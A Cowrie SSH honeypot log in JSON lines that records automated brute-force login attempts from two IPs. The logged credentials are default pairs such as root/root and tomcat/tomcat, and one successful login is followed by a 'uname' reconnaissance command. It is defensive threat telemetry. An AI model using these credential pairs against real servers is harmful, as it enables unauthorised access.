{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55394,"dst_ip":"159.203.135.109","dst_port":22,"session":"e38de0aaa63e","protocol":"ssh","message":"New connection: 192.109.200.78:55394 (159.203.135.109:22) [session: e38de0aaa63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:35.473407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:35.477937Z","src_ip":"192.109.200.78","session":"e38de0aaa63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:35.560000Z","src_ip":"192.109.200.78","session":"e38de0aaa63e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:35.819321Z","src_ip":"192.109.200.78","session":"e38de0aaa63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:36.912124Z","src_ip":"192.109.200.78","session":"e38de0aaa63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54212,"dst_ip":"159.203.135.109","dst_port":22,"session":"d32b9461bfee","protocol":"ssh","message":"New connection: 176.65.139.95:54212 (159.203.135.109:22) [session: d32b9461bfee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:38.783513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:38.792187Z","src_ip":"176.65.139.95","session":"d32b9461bfee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:38.880048Z","src_ip":"176.65.139.95","session":"d32b9461bfee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38408,"dst_ip":"159.203.135.109","dst_port":22,"session":"10ba94dd76e1","protocol":"ssh","message":"New connection: 192.109.200.78:38408 (159.203.135.109:22) [session: 10ba94dd76e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:39.553823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:39.558066Z","src_ip":"192.109.200.78","session":"10ba94dd76e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:39.604678Z","src_ip":"176.65.139.95","session":"d32b9461bfee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:39.639743Z","src_ip":"192.109.200.78","session":"10ba94dd76e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:39.897371Z","src_ip":"192.109.200.78","session":"10ba94dd76e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:40.707215Z","src_ip":"176.65.139.95","session":"d32b9461bfee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:40.984637Z","src_ip":"192.109.200.78","session":"10ba94dd76e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38420,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9564d3a7698","protocol":"ssh","message":"New connection: 192.109.200.78:38420 (159.203.135.109:22) [session: d9564d3a7698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:43.726453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:43.731010Z","src_ip":"192.109.200.78","session":"d9564d3a7698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:43.821021Z","src_ip":"192.109.200.78","session":"d9564d3a7698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:44.067203Z","src_ip":"192.109.200.78","session":"d9564d3a7698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:45.152252Z","src_ip":"192.109.200.78","session":"d9564d3a7698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54214,"dst_ip":"159.203.135.109","dst_port":22,"session":"42b003997d66","protocol":"ssh","message":"New connection: 176.65.139.95:54214 (159.203.135.109:22) [session: 42b003997d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:46.154464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:46.159258Z","src_ip":"176.65.139.95","session":"42b003997d66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:46.242164Z","src_ip":"176.65.139.95","session":"42b003997d66","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:46.504667Z","src_ip":"176.65.139.95","session":"42b003997d66","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:46.733300Z","src_ip":"176.65.139.95","session":"42b003997d66","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:46.736870Z","src_ip":"176.65.139.95","session":"42b003997d66","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:46.822629Z","src_ip":"176.65.139.95","session":"42b003997d66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:46.827823Z","src_ip":"176.65.139.95","session":"42b003997d66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38440,"dst_ip":"159.203.135.109","dst_port":22,"session":"068157f1f57c","protocol":"ssh","message":"New connection: 192.109.200.78:38440 (159.203.135.109:22) [session: 068157f1f57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:47.909541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:47.914302Z","src_ip":"192.109.200.78","session":"068157f1f57c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:47.997051Z","src_ip":"192.109.200.78","session":"068157f1f57c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:48.329005Z","src_ip":"192.109.200.78","session":"068157f1f57c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:49.419434Z","src_ip":"192.109.200.78","session":"068157f1f57c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54132,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd904fcff7b9","protocol":"ssh","message":"New connection: 192.109.200.78:54132 (159.203.135.109:22) [session: cd904fcff7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:52.045881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:52.050208Z","src_ip":"192.109.200.78","session":"cd904fcff7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:52.135667Z","src_ip":"192.109.200.78","session":"cd904fcff7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:52.429063Z","src_ip":"192.109.200.78","session":"cd904fcff7b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53628,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a3d106f5501","protocol":"ssh","message":"New connection: 176.65.139.95:53628 (159.203.135.109:22) [session: 4a3d106f5501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:53.062147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:53.066060Z","src_ip":"176.65.139.95","session":"4a3d106f5501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:53.148189Z","src_ip":"176.65.139.95","session":"4a3d106f5501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:53.512882Z","src_ip":"192.109.200.78","session":"cd904fcff7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:53.655450Z","src_ip":"176.65.139.95","session":"4a3d106f5501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48714,"dst_ip":"159.203.135.109","dst_port":22,"session":"eebe9a3a9954","protocol":"ssh","message":"New connection: 159.203.92.129:48714 (159.203.135.109:22) [session: eebe9a3a9954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:54.431169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:54.435951Z","src_ip":"159.203.92.129","session":"eebe9a3a9954","protocol":"ssh"}
